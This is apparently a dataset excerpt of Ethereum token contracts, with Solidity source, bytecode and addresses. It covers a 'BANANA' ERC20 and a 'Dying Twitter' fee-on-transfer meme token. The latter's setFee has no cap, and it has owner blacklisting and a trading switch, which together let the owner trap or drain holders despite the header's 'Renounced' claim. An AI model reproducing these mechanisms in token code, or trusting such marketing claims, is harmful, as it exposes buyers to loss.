_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* Emits an Approval event (reflecting the reduced allowance).
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = 0x4a2151690A48413fe560E88F596024acD3008BC6;
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: Token-contracts/ERC20.sol
contract StandardERC20 is ERC20, Ownable {
constructor ()
public
ERC20 ("What apes want", "BANANA", 18) {
_mint(msg.sender, 1000000000000000000000000000);
}
}
|
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063715018a61161008c578063a457c2d711610066578063a457c2d7146101b7578063a9059cbb146101ca578063dd62ed3e146101dd578063f2fde38b146101f0576100ea565b8063715018a6146101905780638da5cb5b1461019a57806395d89b41146101af576100ea565b806323b872dd116100c857806323b872dd14610142578063313ce56714610155578063395093511461016a57806370a082311461017d576100ea565b806306fdde03146100ef578063095ea7b31461010d57806318160ddd1461012d575b600080fd5b6100f7610203565b6040516101049190610899565b60405180910390f35b61012061011b366004610851565b610295565b604051610104919061088e565b610135610315565b6040516101049190610967565b610120610150366004610816565b61031b565b61015d6103e1565b6040516101049190610970565b610120610178366004610851565b6103ea565b61013561018b3660046107ca565b610485565b6101986104a4565b005b6101a2610537565b604051610104919061087a565b6100f761054b565b6101206101c5366004610851565b61055a565b6101206101d8366004610851565b61059d565b6101356101eb3660046107e4565b6105b3565b6101986101fe3660046107ca565b6105de565b606060038054610212906109ad565b80601f016020809104026020016040519081016040528092919081815260200182805461023e906109ad565b801561028b5780601f106102605761010080835404028352916020019161028b565b820191906000526020600020905b81548152906001019060200180831161026e57829003601f168201915b5050505050905090565b60006001600160a01b0383166102aa57600080fd5b3360008181526001602090815260408083206001600160a01b03881680855292529182902085905590519091907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610304908690610967565b60405180910390a350600192915050565b60025490565b6001600160a01b038316600090815260016020908152604080832033845290915281205461034990836106c8565b6001600160a01b03851660009081526001602090815260408083203384529091529020556103788484846106eb565b6001600160a01b0384166000818152600160209081526040808320338085529252918290205491519092917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925916103cf9190610967565b60405180910390a35060019392505050565b60055460ff1690565b60006001600160a01b0383166103ff57600080fd5b3360009081526001602090815260408083206001600160a01b038716845290915290205461042d90836106a5565b3360008181526001602090815260408083206001600160a01b038916808552925291829020849055905190927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925916103049190610967565b6001600160a01b0381166000908152602081905260409020545b919050565b6104ac6107af565b60055461010090046001600160a01b039081169116146104e75760405162461bcd60e51b81526004016104de90610932565b60405180910390fd5b60055460405160009161010090046001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a360058054610100600160a81b0319169055565b60055461010090046001600160a01b031690565b606060048054610212906109ad565b60006001600160a01b03831661056f57600080fd5b3360009081526001602090815260408083206001600160a01b038716845290915290205461042d90836106c8565b60006105aa3384846106eb565b50600192915050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6105e66107af565b60055461010090046001600160a01b039081169116146106185760405162461bcd60e51b81526004016104de90610932565b6001600160a01b03811661063e5760405162461bcd60e51b81526004016104de906108ec565b6005546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6000806106b2838561097e565b9050838110156106c157600080fd5b9392505050565b6000828211156106d757600080fd5b60006106e38385610996565b949350505050565b6001600160a01b0382166106fe57600080fd5b6001600160a01b03831660009081526020819052604090205461072190826106c8565b6001600160a01b03808516600090815260208190526040808220939093559084168152205461075090826106a5565b6001600160a01b0380841660008181526020819052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906107a2908590610967565b60405180910390a3505050565b3390565b80356001600160a01b038116811461049f57600080fd5b6000602082840312156107db578081fd5b6106c1826107b3565b600080604083850312156107f6578081fd5b6107ff836107b3565b915061080d602084016107b3565b90509250929050565b60008060006060848603121561082a578081fd5b610833846107b3565b9250610841602085016107b3565b9150604084013590509250925092565b60008060408385031215610863578182fd5b61086c836107b3565b946020939093013593505050565b6001600160a01b0391909116815260200190565b901515815260200190565b6000602080835283518082850152825b818110156108c5578581018301518582016040015282016108a9565b818111156108d65783604083870101525b50601f01601f1916929092016040019392505050565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b90815260200190565b60ff91909116815260200190565b60008219821115610991576109916109e8565b500190565b6000828210156109a8576109a86109e8565b500390565b6002810460018216806109c157607f821691505b602082108114156109e257634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220e8bbcd1459eadc27b113713e618e7bc2be127b79fc06fffc660c8a7d0833d1d064736f6c63430008000033
|
{"success": true, "error": null, "results": {}}
| 8,905 |
0x8afcad814339d5beb32eddec477f21bfa3f34edf
|
/**
Elon Tweet Play of the Weekend
Stealth launch
Lp lock
Renounced
2% Max Wallet
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract musktokenplay is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Dying Twitter";
string private constant _symbol = "Dying Twitter";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 11;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 11;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xe0aF3D89b2B268f5eB26cd0E5CdDc67F3140331f);
address payable private _marketingAddress = payable(0xe0aF3D89b2B268f5eB26cd0E5CdDc67F3140331f);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1000000000 * 10**9;
uint256 public _maxWalletSize = 20000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610528578063dd62ed3e14610548578063ea1644d51461058e578063f2fde38b146105ae57600080fd5b8063a2a957bb146104a3578063a9059cbb146104c3578063bfd79284146104e3578063c3c8cd801461051357600080fd5b80638f70ccf7116100d15780638f70ccf71461044d5780638f9a55c01461046d57806395d89b41146101fe57806398a5c3151461048357600080fd5b80637d1db4a5146103ec5780637f2feddc146104025780638da5cb5b1461042f57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038257806370a0823114610397578063715018a6146103b757806374010ece146103cc57600080fd5b8063313ce5671461030657806349bd5a5e146103225780636b999053146103425780636d8aa8f81461036257600080fd5b80631694505e116101ab5780631694505e1461027357806318160ddd146102ab57806323b872dd146102d05780632fd689e3146102f057600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024357600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611932565b6105ce565b005b34801561020a57600080fd5b50604080518082018252600d81526c223cb4b733902a3bb4ba3a32b960991b6020820152905161023a91906119f7565b60405180910390f35b34801561024f57600080fd5b5061026361025e366004611a4c565b61066d565b604051901515815260200161023a565b34801561027f57600080fd5b50601454610293906001600160a01b031681565b6040516001600160a01b03909116815260200161023a565b3480156102b757600080fd5b50670de0b6b3a76400005b60405190815260200161023a565b3480156102dc57600080fd5b506102636102eb366004611a78565b610684565b3480156102fc57600080fd5b506102c260185481565b34801561031257600080fd5b506040516009815260200161023a565b34801561032e57600080fd5b50601554610293906001600160a01b031681565b34801561034e57600080fd5b506101fc61035d366004611ab9565b6106ed565b34801561036e57600080fd5b506101fc61037d366004611ae6565b610738565b34801561038e57600080fd5b506101fc610780565b3480156103a357600080fd5b506102c26103b2366004611ab9565b6107cb565b3480156103c357600080fd5b506101fc6107ed565b3480156103d857600080fd5b506101fc6103e7366004611b01565b610861565b3480156103f857600080fd5b506102c260165481565b34801561040e57600080fd5b506102c261041d366004611ab9565b60116020526000908152604090205481565b34801561043b57600080fd5b506000546001600160a01b0316610293565b34801561045957600080fd5b506101fc610468366004611ae6565b610890565b34801561047957600080fd5b506102c260175481565b34801561048f57600080fd5b506101fc61049e366004611b01565b6108d8565b3480156104af57600080fd5b506101fc6104be366004611b1a565b610907565b3480156104cf57600080fd5b506102636104de366004611a4c565b610945565b3480156104ef57600080fd5b506102636104fe366004611ab9565b60106020526000908152604090205460ff1681565b34801561051f57600080fd5b506101fc610952565b34801561053457600080fd5b506101fc610543366004611b4c565b6109a6565b34801561055457600080fd5b506102c2610563366004611bd0565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059a57600080fd5b506101fc6105a9366004611b01565b610a47565b3480156105ba57600080fd5b506101fc6105c9366004611ab9565b610a76565b6000546001600160a01b031633146106015760405162461bcd60e51b81526004016105f890611c09565b60405180910390fd5b60005b81518110156106695760016010600084848151811061062557610625611c3e565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061066181611c6a565b915050610604565b5050565b600061067a338484610b60565b5060015b92915050565b6000610691848484610c84565b6106e384336106de85604051806060016040528060288152602001611d84602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111c0565b610b60565b5060019392505050565b6000546001600160a01b031633146107175760405162461bcd60e51b81526004016105f890611c09565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107625760405162461bcd60e51b81526004016105f890611c09565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107b557506013546001600160a01b0316336001600160a01b0316145b6107be57600080fd5b476107c8816111fa565b50565b6001600160a01b03811660009081526002602052604081205461067e90611234565b6000546001600160a01b031633146108175760405162461bcd60e51b81526004016105f890611c09565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461088b5760405162461bcd60e51b81526004016105f890611c09565b601655565b6000546001600160a01b031633146108ba5760405162461bcd60e51b81526004016105f890611c09565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109025760405162461bcd60e51b81526004016105f890611c09565b601855565b6000546001600160a01b031633146109315760405162461bcd60e51b81526004016105f890611c09565b600893909355600a91909155600955600b55565b600061067a338484610c84565b6012546001600160a01b0316336001600160a01b0316148061098757506013546001600160a01b0316336001600160a01b0316145b61099057600080fd5b600061099b306107cb565b90506107c8816112b8565b6000546001600160a01b031633146109d05760405162461bcd60e51b81526004016105f890611c09565b60005b82811015610a415781600560008686858181106109f2576109f2611c3e565b9050602002016020810190610a079190611ab9565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a3981611c6a565b9150506109d3565b50505050565b6000546001600160a01b03163314610a715760405162461bcd60e51b81526004016105f890611c09565b601755565b6000546001600160a01b03163314610aa05760405162461bcd60e51b81526004016105f890611c09565b6001600160a01b038116610b055760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f8565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bc25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f8565b6001600160a01b038216610c235760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f8565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f8565b6001600160a01b038216610d4a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f8565b60008111610dac5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f8565b6000546001600160a01b03848116911614801590610dd857506000546001600160a01b03838116911614155b156110b957601554600160a01b900460ff16610e71576000546001600160a01b03848116911614610e715760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f8565b601654811115610ec35760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f8565b6001600160a01b03831660009081526010602052604090205460ff16158015610f0557506001600160a01b03821660009081526010602052604090205460ff16155b610f5d5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f8565b6015546001600160a01b03838116911614610fe25760175481610f7f846107cb565b610f899190611c85565b10610fe25760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f8565b6000610fed306107cb565b6018546016549192508210159082106110065760165491505b80801561101d5750601554600160a81b900460ff16155b801561103757506015546001600160a01b03868116911614155b801561104c5750601554600160b01b900460ff165b801561107157506001600160a01b03851660009081526005602052604090205460ff16155b801561109657506001600160a01b03841660009081526005602052604090205460ff16155b156110b6576110a4826112b8565b4780156110b4576110b4476111fa565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110fb57506001600160a01b03831660009081526005602052604090205460ff165b8061112d57506015546001600160a01b0385811691161480159061112d57506015546001600160a01b03848116911614155b1561113a575060006111b4565b6015546001600160a01b03858116911614801561116557506014546001600160a01b03848116911614155b1561117757600854600c55600954600d555b6015546001600160a01b0384811691161480156111a257506014546001600160a01b03858116911614155b156111b457600a54600c55600b54600d555b610a4184848484611441565b600081848411156111e45760405162461bcd60e51b81526004016105f891906119f7565b5060006111f18486611c9d565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610669573d6000803e3d6000fd5b600060065482111561129b5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f8565b60006112a561146f565b90506112b18382611492565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061130057611300611c3e565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561135457600080fd5b505afa158015611368573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061138c9190611cb4565b8160018151811061139f5761139f611c3e565b6001600160a01b0392831660209182029290920101526014546113c59130911684610b60565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113fe908590600090869030904290600401611cd1565b600060405180830381600087803b15801561141857600080fd5b505af115801561142c573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061144e5761144e6114d4565b611459848484611502565b80610a4157610a41600e54600c55600f54600d55565b600080600061147c6115f9565b909250905061148b8282611492565b9250505090565b60006112b183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611639565b600c541580156114e45750600d54155b156114eb57565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061151487611667565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061154690876116c4565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115759086611706565b